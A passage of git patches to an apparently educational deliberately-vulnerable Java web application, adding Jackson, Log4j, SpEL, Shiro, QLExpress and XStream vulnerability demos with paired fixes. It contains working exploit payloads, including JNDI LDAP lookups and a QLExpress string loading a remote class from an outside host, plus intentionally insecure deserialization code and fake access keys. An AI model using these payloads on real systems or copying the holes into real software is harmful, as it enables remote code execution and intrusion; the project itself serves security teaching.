+    // String payload = "[\"org.jsecurity.realm.jndi.JndiRealmFactory\", {\"jndiNames\":\"ldap://30.196.97.50:1389/yto8pc\"}]";
+    @RequestMapping("/jackson")
+    public void Jackson(String payload) {
+        ObjectMapper mapper = new ObjectMapper();
+        mapper.enableDefaultTyping();
+        try {
+            Object obj = mapper.readValue(payload, Object.class);
+            mapper.writeValueAsString(obj);
+        } catch (IOException e) {
+            e.printStackTrace();
+        }
+    }
+
 }
diff --git a/src/main/java/org/joychou/controller/FileUpload.java b/src/main/java/org/joychou/controller/FileUpload.java
index 00ab7008..a1858a12 100644
--- a/src/main/java/org/joychou/controller/FileUpload.java
+++ b/src/main/java/org/joychou/controller/FileUpload.java
@@ -195,4 +195,4 @@ private static boolean isImage(File file) throws IOException {
         BufferedImage bi = ImageIO.read(file);
         return bi != null;
     }
-}
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/controller/Jsonp.java b/src/main/java/org/joychou/controller/Jsonp.java
index 2ab0dcef..eb9381e3 100644
--- a/src/main/java/org/joychou/controller/Jsonp.java
+++ b/src/main/java/org/joychou/controller/Jsonp.java
@@ -6,8 +6,8 @@
 import com.alibaba.fastjson.JSONPObject;
 import lombok.extern.slf4j.Slf4j;
 import org.apache.commons.lang.StringUtils;
-import org.joychou.security.SecurityUtil;
 import org.joychou.util.LoginUtils;
+import org.joychou.security.SecurityUtil;
 import org.springframework.beans.factory.annotation.Autowired;
 import org.springframework.http.MediaType;
 import org.springframework.security.web.csrf.CookieCsrfTokenRepository;
@@ -19,7 +19,6 @@
 import org.joychou.util.WebUtils;
 
 import javax.servlet.http.HttpServletRequest;
-import javax.servlet.http.HttpServletResponse;
 import java.security.Principal;
 
 
diff --git a/src/main/java/org/joychou/controller/Jwt.java b/src/main/java/org/joychou/controller/Jwt.java
index 522fd44a..f3e4c126 100644
--- a/src/main/java/org/joychou/controller/Jwt.java
+++ b/src/main/java/org/joychou/controller/Jwt.java
@@ -33,7 +33,9 @@ public String createToken(HttpServletResponse response, HttpServletRequest reque
         String loginUser = request.getUserPrincipal().getName();
         log.info("Current login user is " + loginUser);
 
-        CookieUtils.deleteCookie(response, COOKIE_NAME);
+        if (!CookieUtils.deleteCookie(response, COOKIE_NAME)){
+            return String.format("%s cookie delete failed", COOKIE_NAME);
+        }
         String token = JwtUtils.generateTokenByJavaJwt(loginUser);
         Cookie cookie = new Cookie(COOKIE_NAME, token);
 
diff --git a/src/main/java/org/joychou/controller/Log4j.java b/src/main/java/org/joychou/controller/Log4j.java
index e5dbc83a..b2ea4060 100644
--- a/src/main/java/org/joychou/controller/Log4j.java
+++ b/src/main/java/org/joychou/controller/Log4j.java
@@ -2,7 +2,7 @@
 
 import org.apache.logging.log4j.LogManager;
 import org.apache.logging.log4j.Logger;
-import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.RestController;
 
 @RestController
@@ -11,23 +11,18 @@ public class Log4j {
     private static final Logger logger = LogManager.getLogger("Log4j");
 
     /**
-     * http://localhost:8080/log4j?token=${jndi:ldap://wffsr5.dnslog.cn:9999}
+     * http://localhost:8080/log4j?token=${jndi:ldap://127.0.0.1:1389/0iun75}
      * Default: error/fatal/off
      * Fix: Update log4j to lastet version.
-     * @param token token
      */
-    @GetMapping("/log4j")
+    @RequestMapping(value = "/log4j")
     public String log4j(String token) {
-        if(token.equals("java-sec-code")) {
-            return "java sec code";
-        } else {
-            logger.error(token);
-            return "error";
-        }
+        logger.error(token);
+        return token;
     }
 
     public static void main(String[] args) {
-        String poc = "${jndi:ldap://127.0.0.1:1389/f616nl}";
+        String poc = "${jndi:ldap://127.0.0.1:1389/0iun75}";
         logger.error(poc);
     }
 
diff --git a/src/main/java/org/joychou/controller/Rce.java b/src/main/java/org/joychou/controller/Rce.java
index b64d57bf..7c5f30a9 100644
--- a/src/main/java/org/joychou/controller/Rce.java
+++ b/src/main/java/org/joychou/controller/Rce.java
@@ -15,7 +15,6 @@
 import java.io.BufferedInputStream;
 import java.io.BufferedReader;
 import java.io.InputStreamReader;
-import java.sql.DriverManager;
 
 
 /**
diff --git a/src/main/java/org/joychou/controller/Shiro.java b/src/main/java/org/joychou/controller/Shiro.java
new file mode 100644
index 00000000..2dc143ca
--- /dev/null
+++ b/src/main/java/org/joychou/controller/Shiro.java
@@ -0,0 +1,49 @@
+package org.joychou.controller;
+
+
+import lombok.extern.slf4j.Slf4j;
+import org.apache.shiro.crypto.AesCipherService;
+import org.joychou.config.Constants;
+import org.joychou.util.CookieUtils;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RestController;
+import javax.servlet.http.Cookie;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.*;
+import static org.springframework.web.util.WebUtils.getCookie;
+
+@Slf4j
+@RestController
+public class Shiro {
+
+    byte[] KEYS = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
+    private final static String DELETE_ME = "deleteMe";
+    AesCipherService acs = new AesCipherService();
+
+
+    @GetMapping(value = "/shiro/deserialize")
+    public String shiro_deserialize(HttpServletRequest req, HttpServletResponse res) {
+        Cookie cookie = getCookie(req, Constants.REMEMBER_ME_COOKIE);
+        if (null == cookie) {
+            return "No rememberMe cookie. Right?";
+        }
+
+        try {
+            String rememberMe = cookie.getValue();
+            byte[] b64DecodeRememberMe = java.util.Base64.getDecoder().decode(rememberMe);
+            byte[] aesDecrypt = acs.decrypt(b64DecodeRememberMe, KEYS).getBytes();
+            ByteArrayInputStream bytes = new ByteArrayInputStream(aesDecrypt);
+            ObjectInputStream in = new ObjectInputStream(bytes);
+            in.readObject();
+            in.close();
+        } catch (Exception e){
+            if (CookieUtils.addCookie(res, "rememberMe", DELETE_ME)){
+                log.error(e.getMessage());
+                return "RememberMe cookie decrypt error. Set deleteMe cookie success.";
+            }
+        }
+
+        return "Shiro deserialize";
+    }
+}
diff --git a/src/main/java/org/joychou/controller/SpEL.java b/src/main/java/org/joychou/controller/SpEL.java
index 698f4a7e..452180b8 100644
--- a/src/main/java/org/joychou/controller/SpEL.java
+++ b/src/main/java/org/joychou/controller/SpEL.java
@@ -1,38 +1,64 @@
 package org.joychou.controller;
 
+import org.springframework.expression.Expression;
 import org.springframework.expression.ExpressionParser;
+import org.springframework.expression.common.TemplateParserContext;
 import org.springframework.expression.spel.standard.SpelExpressionParser;
-import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.expression.spel.support.SimpleEvaluationContext;
+import org.springframework.expression.spel.support.StandardEvaluationContext;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.RestController;
 
 
 /**
- * SpEL Injection
- *
+ * SpEL Injection.
  * @author JoyChou @2019-01-17
  */
 @RestController
 public class SpEL {
 
     /**
-     * SpEL to RCE
-     * http://localhost:8080/spel/vul/?expression=xxx.
-     * xxx is urlencode(exp)
-     * exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io")
+     * Use Spel to execute cmd. <p>
+     * T(java.lang.Runtime).getRuntime().exec("open -a Calculator")
      */
-    @GetMapping("/spel/vuln")
-    public String rce(String expression) {
+    @RequestMapping("/spel/vuln1")
+    public String spel_vuln1(String value) {
         ExpressionParser parser = new SpelExpressionParser();
-        // fix method: SimpleEvaluationContext
-        return parser.parseExpression(expression).getValue().toString();
+        return parser.parseExpression(value).getValue().toString();
+    }
+
+    /**
+     * Use Spel to execute cmd. <p>
+     * #{T(java.lang.Runtime).getRuntime().exec('open -a Calculator')}
+     * Exploit must add <code>#{}</code> if using TemplateParserContext.
+     */
+    @RequestMapping("spel/vuln2")
+    public String spel_vuln2(String value) {
+        StandardEvaluationContext context = new StandardEvaluationContext();
+        SpelExpressionParser parser = new SpelExpressionParser();
+        Expression expression = parser.parseExpression(value, new TemplateParserContext());
+        Object x = expression.getValue(context);    // trigger vulnerability point
+        return x.toString();   // response
+    }
+
+    /**
+     * Use SimpleEvaluationContext to fix.
+     */
+    @RequestMapping("spel/sec")
+    public String spel_sec(String value) {
+        SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
+        SpelExpressionParser parser = new SpelExpressionParser();
+        Expression expression = parser.parseExpression(value, new TemplateParserContext());
+        Object x = expression.getValue(context);
+        return x.toString();
     }
 
     public static void main(String[] args) {
         ExpressionParser parser = new SpelExpressionParser();
-        String expression = "T(java.lang.Runtime).getRuntime().exec(\"open -a Calculator\")";
+        String expression = "1+1";
         String result = parser.parseExpression(expression).getValue().toString();
         System.out.println(result);
     }
+
 }
 
diff --git a/src/main/java/org/joychou/controller/Test.java b/src/main/java/org/joychou/controller/Test.java
deleted file mode 100644
index 3b75c7d0..00000000
--- a/src/main/java/org/joychou/controller/Test.java
+++ /dev/null
@@ -1,36 +0,0 @@
-package org.joychou.controller;
-
-import org.springframework.stereotype.Controller;
-import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.ResponseBody;
-import org.springframework.web.bind.annotation.RestController;
-
-import javax.servlet.http.Cookie;
-import javax.servlet.http.HttpServletResponse;
-
-@RestController
-@RequestMapping("/test")
-public class Test {
-
-    @RequestMapping(value = "/")
-    public String Index(HttpServletResponse response, String empId) {
-
-        System.out.println(empId);
-        Cookie cookie = new Cookie("XSRF-TOKEN", "123");
-        cookie.setDomain("taobao.com");
-        cookie.setMaxAge(-1); // forever time
-        response.addCookie(cookie);
-        return "success";
-    }
-
-
-    @RequestMapping(value = "/aa")
-    public void test(HttpServletResponse response, String empId) {
-
-        System.out.println(empId);
-        Cookie cookie = new Cookie("XSRF-TOKEN", "123");
-        cookie.setDomain("taobao.com");
-        cookie.setMaxAge(-1); // forever time
-        response.addCookie(cookie);
-    }
-}
diff --git a/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java b/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java
index ec054ffd..d3107c3e 100644
--- a/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java
+++ b/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java
@@ -1,7 +1,6 @@
 package org.joychou.controller.othervulns;
 
 import com.monitorjbl.xlsx.StreamingReader;
-import org.apache.poi.ss.usermodel.Workbook;
 
 import org.springframework.stereotype.Controller;
 import org.springframework.web.bind.annotation.GetMapping;
diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java
index ee962846..fef14593 100644
--- a/src/main/java/org/joychou/security/SecurityUtil.java
+++ b/src/main/java/org/joychou/security/SecurityUtil.java
@@ -18,7 +18,7 @@
 public class SecurityUtil {
 
     private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$");
-    private static Logger logger = LoggerFactory.getLogger(SecurityUtil.class);
+    private final static Logger logger = LoggerFactory.getLogger(SecurityUtil.class);
 
 
     /**
@@ -116,7 +116,6 @@ public static boolean checkSSRFByWhitehosts(String url) {
 
     /**
      * 解析URL的IP，判断IP是否是内网IP。如果有重定向跳转，循环解析重定向跳转的IP。不建议使用该方案。
-     *
      * 存在的问题：
      *   1、会主动发起请求，可能会有性能问题
      *   2、设置重定向跳转为第一次302不跳转，第二次302跳转到内网IP 即可绕过该防御方案
@@ -134,7 +133,6 @@ public static boolean checkSSRF(String url) {
 
     /**
      * 不能使用白名单的情况下建议使用该方案。前提是禁用重定向并且TTL默认不为0。
-     *
      * 存在问题：
      *  1、TTL为0会被绕过
      *  2、使用重定向可绕过
diff --git a/src/main/java/org/joychou/util/CookieUtils.java b/src/main/java/org/joychou/util/CookieUtils.java
index eddae0db..f63b6e42 100644
--- a/src/main/java/org/joychou/util/CookieUtils.java
+++ b/src/main/java/org/joychou/util/CookieUtils.java
@@ -21,4 +21,17 @@ public static boolean deleteCookie(HttpServletResponse res, String cookieName) {
             return false;
         }
     }
+
+    public static boolean addCookie(HttpServletResponse res, String cookieName, String cookieValue) {
+        try {
+            Cookie cookie = new Cookie(cookieName, cookieValue);
+            cookie.setMaxAge(1000);
+            cookie.setPath("/");
+            res.addCookie(cookie);
+            return true;
+        } catch (Exception e) {
+            log.error(e.toString());
+            return false;
+        }
+    }
 }
diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties
index 66bdb978..15d2c5a3 100644
--- a/src/main/resources/application.properties
+++ b/src/main/resources/application.properties
@@ -46,7 +46,7 @@ swagger.enable = true
 
 
 ### no need to login page begins ###
-joychou.no.need.login.url = /css/**, /js/**, /xxe/**, /rce/**, /deserialize/**, /test/**, /ws/**
+joychou.no.need.login.url = /css/**, /js/**, /xxe/**, /rce/**, /deserialize/**, /test/**, /ws/**, /shiro/**, /ssrf/**, /spel/**
 ### no need to login page ends ###
 
 
@@ -54,5 +54,6 @@ joychou.no.need.login.url = /css/**, /js/**, /xxe/**, /rce/**, /deserialize/**,
 # http header max size
 #server.max-http-header-size=30000
 
+# Fake aksk. Simulate actuator info leak.
 jsc.accessKey.id=LTAI5tSAEPX3Z5N2Yt8ogc2y
 jsc.accessKey.secret=W1Poxj09wN0Zu6dDsS0on3SIUhOhK7
\ No newline at end of file
diff --git a/src/main/resources/templates/login.html b/src/main/resources/templates/login.html
index 1a4c4225..d5c4ccd5 100644
--- a/src/main/resources/templates/login.html
+++ b/src/main/resources/templates/login.html
@@ -28,7 +28,9 @@
     <div class="form">
         <input type="text" placeholder="Username" name="username" required="required"/>
         <input type="password" placeholder="Password" name="password" required="required"/>
-        <p><input type="checkbox" name="remember-me" checked="checked"/>RememberMe</p>
+        <p style="line-height: 1; margin: 0;">
+            <input type="checkbox" name="remember-me" style="vertical-align: top;" checked="checked"/>RememberMe
+        </p>
         <button onclick="login()">Login</button>
     </div>
 </div>

From 457d703e8f89bff657c6c51151ada71ebd09a1c6 Mon Sep 17 00:00:00 2001
From: JoyChou <root@joychou.org>
Date: Thu, 28 Dec 2023 19:38:47 +0800
Subject: [PATCH 36/38] Add qlexpress and some test cases.

---
 README.md                                     |   5 +-
 README_zh.md                                  |   5 +-
 .../org/joychou/controller/QLExpress.java     |  44 ++++++++
 .../org/joychou/controller/XStreamRce.java    |  14 +--
 src/main/java/org/joychou/dao/User.java       |  29 +----
 src/main/resources/application.properties     |   2 +-
 src/main/test/org/test/QLExpressTest.java     | 103 ++++++++++++++++++
 src/main/test/org/test/XStreamTest.java       |  70 ++++++++++++
 8 files changed, 230 insertions(+), 42 deletions(-)
 create mode 100644 src/main/java/org/joychou/controller/QLExpress.java
 create mode 100644 src/main/test/org/test/QLExpressTest.java
 create mode 100644 src/main/test/org/test/XStreamTest.java

diff --git a/README.md b/README.md
index e7fbef9e..0e8c074b 100644
--- a/README.md
+++ b/README.md
@@ -3,7 +3,7 @@
 
 Java sec code is a very powerful and friendly project for learning Java vulnerability code.
 
-[中文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README_zh.md) 😋[Alibaba Security Purple Team Recruitment](https://talent.alibaba.com/off-campus-position/937731?trace=qrcode_share)
+[中文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README_zh.md) 😋
 
 ## Introduce
 
@@ -41,6 +41,7 @@ Sort by letter.
 - [Log4j](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Log4j.java)
 - [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java)
 - [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java)
+- [QLExpress](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/QLExpress.java)
 - [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java)
   - Runtime
   - ProcessBuilder
@@ -146,7 +147,7 @@ Viarus
 Example:
 
 ```
-http://localhost:8080/java-sec-code-1.0.0/rce/exec?cmd=whoami
+http://localhost:8080/java-sec-code-1.0.0/rce/runtime/exec?cmd=whoami
 ```
 
 return:
diff --git a/README_zh.md b/README_zh.md
index f713e6cc..e2d5727c 100644
--- a/README_zh.md
+++ b/README_zh.md
@@ -2,7 +2,7 @@
 
 对于学习Java漏洞代码来说，`Java Sec Code`是一个非常强大且友好的项目。
 
-[英文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README.md) 😋[阿里集团安全紫军招聘](https://talent.alibaba.com/off-campus-position/937731?trace=qrcode_share)
+[英文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README.md) 😋
 
 ## 介绍
 
@@ -36,6 +36,7 @@ joychou/joychou123
 - [Log4j](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Log4j.java)
 - [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java)
 - [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java)
+- [QLExpress](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/QLExpress.java)
 - [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java)
     - Runtime
     - ProcessBuilder  
@@ -138,7 +139,7 @@ Viarus
 例子：
 
 ```
-http://localhost:8080/java-sec-code-1.0.0/rce/exec?cmd=whoami
+http://localhost:8080/java-sec-code-1.0.0/rce/runtime/exec?cmd=whoami
 ```
  
 返回：
diff --git a/src/main/java/org/joychou/controller/QLExpress.java b/src/main/java/org/joychou/controller/QLExpress.java
new file mode 100644
index 00000000..663589cd
--- /dev/null
+++ b/src/main/java/org/joychou/controller/QLExpress.java
@@ -0,0 +1,44 @@
+package org.joychou.controller;
+
+import com.ql.util.express.DefaultContext;
+import com.ql.util.express.ExpressRunner;
+import com.ql.util.express.config.QLExpressRunStrategy;
+import org.joychou.util.WebUtils;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import javax.servlet.http.HttpServletRequest;
+
+@RestController(value = "/qlexpress")
+public class QLExpress {
+
+    /**
+     * url = 'http://sb.dog:8888/';
+     * classLoader = new java.net.URLClassLoader([new java.net.URL(url)]);
+     * classLoader.loadClass('Hello').newInstance();
+     */
+    @RequestMapping("/vuln1")
+    public String vuln1(HttpServletRequest req) throws Exception{
+        String express = WebUtils.getRequestBody(req);
+        System.out.println(express);
+        ExpressRunner runner = new ExpressRunner();
+        DefaultContext<String, Object> context = new DefaultContext<String, Object>();
+        Object r = runner.execute(express, context, null, true, false);
+        System.out.println(r);
+        return r.toString();
+    }
+
+    @RequestMapping("/sec")
+    public String sec(HttpServletRequest req) throws Exception{
+        String express = WebUtils.getRequestBody(req);
+        System.out.println(express);
+        ExpressRunner runner = new ExpressRunner();
+        QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
+        // Can only call java.lang.String#length()
+        QLExpressRunStrategy.addSecureMethod(String.class, "length");
+        DefaultContext<String, Object> context = new DefaultContext<String, Object>();
+        Object r = runner.execute(express, context, null, true, false);
+        System.out.println(r);
+        return r.toString();
+    }
+}
diff --git a/src/main/java/org/joychou/controller/XStreamRce.java b/src/main/java/org/joychou/controller/XStreamRce.java
index 62616e95..aa3469bd 100644
--- a/src/main/java/org/joychou/controller/XStreamRce.java
+++ b/src/main/java/org/joychou/controller/XStreamRce.java
@@ -2,6 +2,7 @@
 
 import com.thoughtworks.xstream.XStream;
 import com.thoughtworks.xstream.io.xml.DomDriver;
+import com.thoughtworks.xstream.security.AnyTypePermission;
 import org.joychou.dao.User;
 import org.joychou.util.WebUtils;
 import org.springframework.web.bind.annotation.PostMapping;
@@ -24,20 +25,9 @@ public class XStreamRce {
     public String parseXml(HttpServletRequest request) throws Exception {
         String xml = WebUtils.getRequestBody(request);
         XStream xstream = new XStream(new DomDriver());
+        xstream.addPermission(AnyTypePermission.ANY); // This will cause all XStream versions to be affected.
         xstream.fromXML(xml);
         return "xstream";
     }
 
-    public static void main(String[] args) {
-        User user = new User();
-        user.setId(0);
-        user.setUsername("admin");
-
-        XStream xstream = new XStream(new DomDriver());
-        String xml = xstream.toXML(user); // Serialize
-        System.out.println(xml);
-
-        user = (User) xstream.fromXML(xml); // Deserialize
-        System.out.println(user.getId() + ": " + user.getUsername());
-    }
 }
diff --git a/src/main/java/org/joychou/dao/User.java b/src/main/java/org/joychou/dao/User.java
index 1336f571..0b8eb3b0 100644
--- a/src/main/java/org/joychou/dao/User.java
+++ b/src/main/java/org/joychou/dao/User.java
@@ -1,32 +1,11 @@
 package org.joychou.dao;
 
-import java.io.Serializable;
+import lombok.Data;
 
-public class User implements Serializable {
-    private static final long serialVersionUID = 1L;
+
+@Data
+public class User {
     private Integer id;
     private String username;
     private String password;
-
-    public Integer getId() {
-        return id;
-    }
-    public void setId(Integer id) {
-        this.id = id;
-    }
-
-    public String getUsername() {
-        return username;
-    }
-    public void setUsername(String username) {
-        this.username = username;
-    }
-
-    public String getPassword() {
-        return password;
-    }
-    public void setPassword(String password) {
-        this.password = password;
-    }
-
 }
diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties
index 15d2c5a3..326a2b76 100644
--- a/src/main/resources/application.properties
+++ b/src/main/resources/application.properties
@@ -46,7 +46,7 @@ swagger.enable = true
 
 
 ### no need to login page begins ###
-joychou.no.need.login.url = /css/**, /js/**, /xxe/**, /rce/**, /deserialize/**, /test/**, /ws/**, /shiro/**, /ssrf/**, /spel/**
+joychou.no.need.login.url = /css/**, /js/**, /xxe/**, /rce/**, /deserialize/**, /test/**, /ws/**, /shiro/**, /ssrf/**, /spel/**, /qlexpress/**
 ### no need to login page ends ###
 
 
diff --git a/src/main/test/org/test/QLExpressTest.java b/src/main/test/org/test/QLExpressTest.java
new file mode 100644
index 00000000..a2071d58
--- /dev/null
+++ b/src/main/test/org/test/QLExpressTest.java
@@ -0,0 +1,103 @@
+package org.test;
+
+import com.ql.util.express.DefaultContext;
+import com.ql.util.express.ExpressRunner;
+import com.ql.util.express.IExpressContext;
+import com.ql.util.express.config.QLExpressRunStrategy;
+import org.junit.Test;
+
+/**
+ * <a href="https://github.com/alibaba/QLExpress">QLExpress</a> security test cases.
+ */
+public class QLExpressTest {
+
+    private static final String poc = "url = 'http://sb.dog:8888/'; classLoader = new java.net.URLClassLoader([new java.net.URL(url)]);classLoader.loadClass('Hello').newInstance();";
+
+    /**
+     * basic usage
+     */
+    @Test
+    public void basicUsage() throws Exception{
+        ExpressRunner runner = new ExpressRunner();
+        IExpressContext<String, Object> context = new DefaultContext<>();
+        context.put("a", 1);
+        context.put("b", 2);
+        Object r = runner.execute("a+b", context, null, true, false);
+        System.out.println(r);  // print 3
+    }
+
+    /**
+     * Test case of /qlexpress/vuln1. Use URLClassLoader to load evil class.
+     */
+    @Test
+    public void vuln1() throws Exception {
+        System.out.println(poc);
+        ExpressRunner runner = new ExpressRunner();
+        IExpressContext<String, Object> context = new DefaultContext<>();
+        Object r = runner.execute(poc, context, null, true, false);
+        System.out.println(r);
+    }
+
+    /**
+     * fix method by using class and method whitelist.
+     */
+    @Test
+    public void sec01() throws Exception {
+        System.out.println(poc);
+        ExpressRunner runner = new ExpressRunner();
+        QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
+        QLExpressRunStrategy.addSecureMethod(String.class, "length");
+        IExpressContext<String, Object> context = new DefaultContext<>();
+        Object r1 = runner.execute("'abc'.length()", context, null, true, false);
+        System.out.println(r1);
+        Object r2 = runner.execute(poc, context, null, true, false);
+        System.out.println(r2);
+    }
+
+    /**
+     * <p>Fix method by using class and method blacklist. It may exist bypass. </p>
+     *
+     * <p>Default blacklist:
+     *  <ul>
+     *     <li>System.class.getName() + ".exit"</li>
+     *     <li>ProcessBuilder.class.getName() + ".start"</li>
+     *     <li>Method.class.getName() + ".invoke"</li>
+     *     <li>Class.class.getName() + ".forName"</li>
+     *     <li>ClassLoader.class.getName() + ".loadClass"</li>
+     *     <li>ClassLoader.class.getName() + ".findClass"</li>
+     *     <li>ClassLoader.class.getName() + ".defineClass"</li>
+     *     <li>ClassLoader.class.getName() + ".getSystemClassLoader"</li>
+     *     <li>javax.naming.InitialContext.lookup</li>
+     *     <li>com.sun.rowset.JdbcRowSetImpl.setDataSourceName</li>
+     *     <li>com.sun.rowset.JdbcRowSetImpl.setAutoCommit</li>
+     *     <li>QLExpressRunStrategy.class.getName() + ".setForbidInvokeSecurityRiskMethods"</li>
+     *     <li>jdk.jshell.JShell.create</li>
+     *     <li>javax.script.ScriptEngineManager.getEngineByName</li>
+     *     <li>org.springframework.jndi.JndiLocatorDelegate.lookup</li>
+     *  </ul>
+     * </p>
+     */
+    @Test
+    public void sec02() throws Exception {
+        System.out.println(poc);
+        ExpressRunner runner = new ExpressRunner();
+        QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
+        IExpressContext<String, Object> context = new DefaultContext<>();
+        Object r = runner.execute(poc, context, null, true, false);
+        System.out.println(r);
+    }
+
+
+    /**
+     * <p>Fix method by using sandbox. </p>
+     */
+    @Test
+    public void sec03() throws Exception {
+        System.out.println(poc);
+        ExpressRunner runner = new ExpressRunner();
+        QLExpressRunStrategy.setSandBoxMode(true);
+        IExpressContext<String, Object> context = new DefaultContext<>();
+        Object r = runner.execute(poc, context, null, true, false);
+        System.out.println(r);
+    }
+}
diff --git a/src/main/test/org/test/XStreamTest.java b/src/main/test/org/test/XStreamTest.java
new file mode 100644
index 00000000..a5375ebf
--- /dev/null
+++ b/src/main/test/org/test/XStreamTest.java
@@ -0,0 +1,70 @@
+package org.test;
+
+import com.thoughtworks.xstream.XStream;
+import com.thoughtworks.xstream.io.xml.DomDriver;
+import com.thoughtworks.xstream.security.AnyTypePermission;
+import org.joychou.dao.User;
+import org.junit.Test;
+
+public class XStreamTest {
+
+    private static final String poc_xml = "<sorted-set>\n" +
+            "    <string>foo</string>\n" +
+            "    <dynamic-proxy>\n" +
+            "        <interface>java.lang.Comparable</interface>\n" +
+            "        <handler class=\"java.beans.EventHandler\">\n" +
+            "            <target class=\"java.lang.ProcessBuilder\">\n" +
+            "                <command>\n" +
+            "                    <string>Open</string>\n" +
+            "                    <string>-a</string>\n" +
+            "                    <string>Calculator</string>\n" +
+            "                </command>\n" +
+            "            </target>\n" +
+            "            <action>start</action>\n" +
+            "        </handler>\n" +
+            "    </dynamic-proxy>\n" +
+            "</sorted-set>";
+
+
+    /**
+     * XStream basic usage.
+     */
+    @Test
+    public void basicUsage() {
+        User user = new User();
+        user.setId(0);
+        user.setUsername("admin");
+
+        XStream xstream = new XStream(new DomDriver());
+        String xml = xstream.toXML(user); // Serialize
+        System.out.println(xml);
+
+        // High version xstream needs set allowTypes
+        xstream.allowTypes(new Class[]{User.class});
+        user = (User) xstream.fromXML(xml); // Deserialize
+        System.out.println(user.getId() + ": " + user.getUsername());
+    }
+
+    /**
+     * Command execute
+     */
+    @Test
+    public void vuln01() {
+        System.out.println(poc_xml);
+        XStream xstream = new XStream();
+        xstream.addPermission(AnyTypePermission.ANY); // Insecure configuration
+        xstream.fromXML(poc_xml); // Deserialize
+    }
+
+
+    /**
+     * Security code. XStream version: 1.4.20
+     */
+    @Test
+    public void sec01() {
+        System.out.println(poc_xml);
+        XStream xstream = new XStream();
+        xstream.fromXML(poc_xml); // Deserialize
+    }
+
+}

From 1d06b16c2a7acac439783e89e1882f82904edc9d Mon Sep 17 00:00:00 2001
From: JoyChou <root@joychou.org>
Date: Fri, 28 Jun 2024 09:48:48 +0800
Subject: [PATCH 37/38] Add alibaba recruitment.

---
 README.md    | 10 ++--------
 README_zh.md | 13 ++++++-------
 2 files changed, 8 insertions(+), 15 deletions(-)

diff --git a/README.md b/README.md
index 0e8c074b..a6b30f4d 100644
--- a/README.md
+++ b/README.md
@@ -205,12 +205,6 @@ Core developers : [JoyChou](https://github.com/JoyChou93), [liergou9981](https:/
 Other developers: [lightless](https://github.com/lightless233),  [Anemone95](https://github.com/Anemone95), [waderwu](https://github.com/waderwu). 
 
 
-## Donate
+## Support
 
-If you like the poject, you can donate to support me. With your support, I will be able to make `Java sec code` better 😎.
-
-### Alipay
-
-Scan the QRcode to support `Java sec code`.
-
-<img title="Alipay QRcode" src="https://aliyun-testaaa.oss-cn-shanghai.aliyuncs.com/alipay_qr.png" width="200">
+If you like the poject, you can star java-sec-code project to support me. With your support, I will be able to make `Java sec code` better 😎.
diff --git a/README_zh.md b/README_zh.md
index e2d5727c..b5c658c3 100644
--- a/README_zh.md
+++ b/README_zh.md
@@ -4,6 +4,10 @@
 
 [英文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README.md) 😋
 
+## 招聘
+
+[Alibaba招聘-安全攻防/研究（P5-P7）](https://github.com/JoyChou93/java-sec-code/wiki/Alibaba-Purple-Team-Job-Description)
+
 ## 介绍
 
 该项目也可以叫做Java Vulnerability Code(Java漏洞代码)。
@@ -195,12 +199,7 @@ Tomcat默认JSESSION会话有效时间为30分钟，所以30分钟不操作会
 
 核心开发者： [JoyChou](https://github.com/JoyChou93).其他开发者：[lightless](https://github.com/lightless233),  [Anemone95](https://github.com/Anemone95)。欢迎各位提交PR。
 
-## 捐赠
-
-如果你喜欢这个项目，你可以捐款来支持我。 有了你的支持，我将能够更好地制作`Java sec code`项目。
-
-### Alipay
+## 支持
 
-扫描支付宝二维码支持`Java sec code`。
+如果你喜欢这个项目，你可以star该项目支持我。 有了你的支持，我将能够更好地制作`Java sec code`项目。
 
-<img title="Alipay QRcode" src="https://aliyun-testaaa.oss-cn-shanghai.aliyuncs.com/alipay_qr.png" width="200">

From 4711f4e186258c6e0dd5c3863e7c9592e7e9026a Mon Sep 17 00:00:00 2001
